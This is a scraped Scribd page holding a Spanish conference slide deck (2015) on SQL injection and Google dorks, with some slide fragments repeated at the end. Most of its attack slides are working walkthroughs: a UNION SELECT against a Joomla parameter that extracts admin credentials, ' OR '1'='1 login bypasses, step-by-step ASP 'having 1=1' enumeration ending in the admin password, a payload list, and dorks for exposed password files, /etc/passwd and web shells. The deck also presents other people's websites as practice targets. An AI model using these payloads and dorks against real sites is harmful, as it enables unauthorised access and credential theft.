0% encontró este documento útil (0 votos)
460 vistas54 páginas

Inyección SQL: Riesgos y Prevención

Este documento resume las II Jornadas de Prevención del Fraude y el Cibercrimen. Se discuten temas como la intrusión web a través de Google Dorks e inyección SQL, el hacking ético como delito, la libertad de cátedra y qué es la inyección SQL. También proporciona ejemplos de páginas web infectadas y cómo se realiza la inyección SQL aprovechando vulnerabilidades en CMS populares.

Cargado por

Mosiah
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
460 vistas54 páginas

Inyección SQL: Riesgos y Prevención

Este documento resume las II Jornadas de Prevención del Fraude y el Cibercrimen. Se discuten temas como la intrusión web a través de Google Dorks e inyección SQL, el hacking ético como delito, la libertad de cátedra y qué es la inyección SQL. También proporciona ejemplos de páginas web infectadas y cómo se realiza la inyección SQL aprovechando vulnerabilidades en CMS populares.

Cargado por

Mosiah
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

20-Marzo-

2015
II Jornadas de Prevención del

Fraude y el Cibercrimen

Intrusión Web:
Google Dorks e
Inyección Sql
2 Inyección SQL en Páginas
Web

El Hacking Ético es Delito



Artículo 197.3 C.P.

El que por cualquier medio o procedimiento y vulnerando las


medidas de seguridad establecidas para impedirlo, acceda sin
autorización a datos o programas informáticos contenidos en un
sistema informático o en parte del mismo o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legítimo derecho a
excluirlo, será castigado con pena de prisión de seis meses a dos
años.
3 Inyección SQL en Páginas
Web

Libertad de Cátedra

La libertad de cátedra es uno de los derechos incluidos dentro
del derecho humano o fundamental de Libertad académica.

Es el derecho a ejercer la docencia, en el ámbito de la 
Educación Superior, con absoluta libertad, es decir, es "la libertad
de enseñar y debatir sin verse limitado por doctrinas instituidas".


 La libertad de llevar a cabo investigaciones y difundir y publicar
los resultados de las mismas, la libertad de expresar libremente
su opinión sobre la institución o el sistema en que trabaja, la
libertad ante la censura institucional y la libertad de participar en
órganos profesionales u organizaciones académicas
representativas.
4 Inyección SQL en Páginas
Web

¿Qué es Inyección SQL?



Es un método de infiltración de código SQL

Aprovecha vulnerabilidades de diseño en código web

Afecta a cualquier lenguaje que use SqlQueries

Es uno de los métodos más usados de intrusión web
consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"

PELIGRO!!!!
Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%

RESULTADO:
SELECT * FROM usuarios WHERE nombre = 'Alicia'; DROP TABLE
usuarios; SELECT * FROM datos WHERE nombre LIKE '%';
5 Inyección SQL en Páginas
Web

¿Qué fines alberga?



Casi ninguno bueno

Introducción de código adaware malicioso

Introducción de links a páginas web o publicidad para su
indexación en metabuscadores.

Sólo se salva el Hacking Ético

EJEMPLO:
HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY
CANIDAVIAGRA GENEIRC VIAGRA SALE VIAGRA (.)(.) VIAGRA CIALIS THIRSTY
ZIP ...
6 Inyección SQL en Páginas
Web

¿Por qué ocurre esto?



Mal diseño del código de consulta SQL

Utilización de código estándar no contrastado

Ausencia de actualización de directivas de Seguridad CMS

Inexistencia de seguimiento de la vida de la página web


Carencia de responsables en seguridad informática.
7 Inyección SQL en Páginas
Web

Algunas páginas infectadas



Universidades

Páginas oficiales de partidos políticos

Páginas oficiales de Ayuntamientos

Páginas web corporativas y particulares, etc.
8 Inyección SQL en Páginas
Web

El más
Famoso:
La
Viagra
9 Inyección SQL en Páginas
Web

Ejemplos interesantes
Universidad de Salamanca
[Link]
10 Inyección SQL en Páginas
Web

Ejemplos interesantes
Universidad de Extremadura
[Link]
11 Inyección SQL en Páginas
Web

Ejemplos interesantes
Página del Partido Socialista
[Link]
12 Inyección SQL en Páginas
Web

Ejemplos interesantes
Página del Partido Socialista
[Link]
13 Inyección SQL en Páginas
Web

Ejemplos interesantes
Página de Unión, Progreso y Democracia
14 Inyección SQL en Páginas
Web

Ejemplos interesantes

Página de Unión,
Progreso y
Democracia
15 Inyección SQL en Páginas
Web

Ejemplos interesantes
Página de Unión, Progreso y Democracia
<div class="runningtext_x">
<p>Instead you a recurring final step in certain no fax payday cash advance <a href="
[Link] title="no fax payday cash advance">no fax payday cash advance</a> factors of
must be [Link] you love with bad things can include your effects of increased dose of cialis <a href="
[Link] title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into
and submitting an [Link] borrowers who do business to offer cash so levitra and alpha blockers <a href="
[Link] title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned
about [Link] a couple weeks until convenient thing is viagra prescription <a href="
[Link] title="viagra prescription">viagra prescription</a> necessary steps to become
[Link] long waiting to almost all [Link] <a href="[Link]
title="[Link] loan as banking [Link] when they receive
your creditability especially attractive cash advance today <a href="[Link] title="cash
advance today">cash advance today</a> for them whenever they [Link] there for loan providers our
payday loans are [Link] <a href="[Link]
title="[Link] meant to cover a fax [Link] leads to take
your payday can even less cialis <a href="[Link] title="cialis">cialis</a> for the specific
generalization of extension.</p>
</div>
16 Inyección SQL en Páginas
Web

¿Cómo se hace Sqlinjection?


Se buscan vulnerabilidades en los CMS más populares


Joomla es el “Rey de Reyes”

Tampoco se libra Wordpress

Ni Drupal, ni Moodle….


Cualquier sitio web en interesante; incluso el tuyo!!:

Es el mejor laboratorio de prácticas

Hay miles de páginas web esperando
17 Inyección SQL en Páginas
Web

¿Cómo se hace Sqlinjection?


Se buscan páginas web de CMS no actualizadas


Los “ciberdelincuentes buenos”, buscan “0 Days”


Se inyecta código sql en los campos de captura de datos
para provocar una respuesta no contemplada:

USER | PASSWORD
18 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection

Joomla 3.2.2

Fallo detectado en febrero de 2014

Afectaba al propio núcleo de Joomla

Por tanto funcionaba en todas las versiones anteriores

Buscaba el error en la validación de parámetros web

El error estaba tras consultar el “Weblinks-categories”


El objetivo es provocar que Joomla nos muestre su código
fuente para sacar lo más importante:

USER | PASSWORD
19 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
20 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
Una instrucción “Normal”:
[Link]

[Link]

Resultado:

SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN


`ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id`
AND `m`.`type_alias` = 'com_weblinks.categories' AND
`m`.`content_item_id` IN ( X)     
21 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
22 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection

ATENTOS AHORA:

Este error anterior nos ha mostrado una información muy valiosa:


El prefijo de las Tablas de la base de datos

 ...INNER JOIN `ls41c_contentitem_tag_map` ...

Como vemos, en nuestro caso es ls41c


23 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection

Aprovechemos este error para hacer nuestra consulta:


Consultamos a la Tabla de Usuarios (ls41c_users):

Incluiremos el comando UNION SELECT y seleccionaremos los
valores de username y password

[Link]
?id=0) union select
concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from
`ls41c_users`-- )
24 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
Esto genera un nuevo error:
25 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
Veámoslo con detalle:

El usuario es admin
La clave está encriptada con un HASH MD5
26 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
Sólo nos resta “Deshacer” el MD5:

Mediante la búsqueda de la cadena por internet

Utilizando páginas web para descifrarlo

[Link]
27 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Mediante el uso de operadores en los campos de texto

En los campos de consulta de datos


En los campos de Usuario y Contraseña
En cualquier campo que permita introducir datos
28 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


En la pantalla de Autenticación se nos piden los datos de acceso

El código interno que se ejecuta suele ser algo parecido a:

Select id 
from tabla_usuarios
where usuario='$usuario' and pass='$pass';
29 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


¿Pero qué pasa si provocamos el error?

Select id 
from tabla_usuarios
where usuario=' 'or '1'='1 ' and pass=''or
'1'='1';
30 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ejemplo

[Link]
31 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Introducimos la instrucción ' OR '1'='1
32 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Y “Voila!!!”
33 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

En los campos de acceso tecleamos ' having 1= 1--


34 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

En las páginas vulnerables se producirá el siguiente error:


35 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

El Error anterior nos dio el nombre de la tabla y la columna:

Ingresamos ' group by [Link] having 1 = 1--


36 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

El Error anterior nos dio un nuevo dato de la tabla y la columna:

Ingresamos ' group by [Link], [Link] having 1=1--


37 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

Ya tenemos el nombre de la Tabla y la Columna


“usuario.clave_de_acceso”:

Ingresamos ' group by [Link], [Link],


Usuario.Clave_de_Acceso having 1=1--
38 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

Ya tenemos la Tabla y la Columna “[Link]”:

Ingresamos ' group by [Link], [Link],


Usuario.Clave_de_Acceso, [Link] having 1=1--
39 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

La siguiente tabla es “usuario.Tipo_De_Usuario”:

Ingresamos ' group by [Link], [Link],


Usuario.Clave_de_Acceso, [Link], Usuario.Tipo_de_Usuario
having 1=1--
40 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

La siguiente tabla es “usuario.Punto_De_Captura”:

Ingresamos ' group by [Link], [Link],


Usuario.Clave_de_Acceso, [Link], Usuario.Tipo_de_Usuario,
Usuario.Punto_de_Captura having 1=1--
41 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

La siguiente tabla es “[Link]”:

Ingresamos ' group by [Link], [Link],


Usuario.Clave_de_Acceso, [Link], Usuario.Tipo_de_Usuario,
Usuario.Punto_de_Captura, [Link] having 1=1--

No arroja más Resultados y


vuelve al punto de Login
42 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from


Usuario where Clave_de_Acceso > 'a'—

Tantos 1 como tablas hemos encontrado!!


43 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:[Link]

Ya tenemos al Usuario de Administración:

Ingresamos ' union select 1,1,1,1,1,1,min(Password) from Usuario where


Clave_de_Acceso > 'ADMIN'--

Ya tenemos la Clave!
44 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ya tenemos Acceso a la Web como administrador
45 Inyección SQL en Páginas
Web

Otros parámetros de Sqlinjection


Pueden hacerse otros tipos de consultas
‘ or 1=1 – ” or 1=1–
1'or’1'=’1 or 1=1–
admin’– ‘ or a=a–
” or 0=0 – ” or “a”=”a
or 0=0 – ‘) or (‘a’='a
‘ or 0=0 # “) or (“a”=”a
” or 0=0 # hi” or “a”=”a
or 0=0 # hi” or 1=1 –
‘ or ‘x’='x hi’ or 1=1 –
” or “x”=”x hi’ or ‘a’='a
‘) or (‘x’='x hi’) or (‘a’='a
‘ or 1=1– hi”) or (“a”=”)
46 Inyección SQL en Páginas
Web

Los «Dorks»: Google Hacking


¿Qué es un Dork?


Google dorks son combinaciones de operadores, o
comandos de búsqueda especiales que se utilizan para
extraer información valiosa o sensible desde Google.

También se les denomina GoogleDorks

Existen multitud de páginas web donde se muestran los
comandos Dork de Google

La más famosa:
[Link]
47 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Site:

Site:[Link] «cadena a buscar»

Filetype:

filetype:extensión «nombredelfichero»

Inurl:

Inurl:”página a buscar”

intitle:

Intitle: “témino a buscar”

Intext:

Intext:”Texto a buscar dentro de un fichero”

Link:

Link: “enlace web a buscar
48 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Site:

Site:[Link] «cadena a buscar»

site:[Link] "azithromycin“

Nos devolverá todas las páginas pertenecientes al Dominio


[Link] que contengan el término “azithromycin”
49 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Filetype:

filetype:extensión «nombredelfichero»

filetype:sql “# dumping data for table” “`PASSWORD` varchar”

Busca peticiones de contenido en ficheros con extensión “XXX”


50 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Inurl:

Inurl:”Texto a buscar”

inurl:webarch/[Link]
inurl:intranet filetype:doc confidential


La primera instrucción busca impresoras de red

La segunda instrucción busca documentos confidenciales
dentro de una intranet
51 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Intext:

Intext:”Texto a buscar dentro de un fichero”

filetype:php intext:"!C99Shell v. 1.0 beta"

Busca ficheros php que gestionen la Shell C99; C99 es una consola
de gestión vía Web
52 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Link:

Link: “enlace web a buscar

Link:[Link]

Muestra un listado de páginas web que contienen el link de la


revista.
53 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Combinaciones

inurl:"/root/etc/passwd" intext:"home/*:“

inurl:/administrator/[Link]?autologin=1

filetype:xls "username | password"
54 Inyección SQL en Páginas
Web

Veamos algunos Resultados

Intrusión Web: 
Google Dorks e 
Inyección Sql
20-Marzo-
2015
II Jornadas de Prevención del 
Fraude y el Cibercrimen
El Hacking Ético es Delito
Inyección SQL en Páginas 
Web
2
•
Artículo 197.3 C.P.
El que por cualquier medio o procedimiento y
Libertad de Cátedra
Inyección SQL en Páginas 
Web
3
•
La libertad de cátedra es uno de los derechos incluidos dentro 
del der
¿Qué es Inyección SQL?
Inyección SQL en Páginas 
Web
4
•
Es un método de infiltración de código SQL
•
Aprovecha vulnerabilida
¿Qué fines alberga?
Inyección SQL en Páginas 
Web
5
•
Casi ninguno bueno
•
Introducción de código adaware malicioso
•
Introdu
¿Por qué ocurre esto?
Inyección SQL en Páginas 
Web
6
•
Mal diseño del código de consulta SQL
•
Utilización de código estánda
Algunas páginas infectadas
Inyección SQL en Páginas 
Web
7
•
Universidades
•
Páginas oficiales de partidos políticos
•
Página
El más 
Famoso: 
La 
Viagra
Inyección SQL en Páginas 
Web
8
Ejemplos interesantes
Inyección SQL en Páginas 
Web
9
Universidad de Salamanca
http://www-incyl.usal.es/index.php?option=com_
Ejemplos interesantes
Inyección SQL en Páginas 
Web
10
Universidad de Extremadura
http://matematicas.unex.es/~brequejo/

También podría gustarte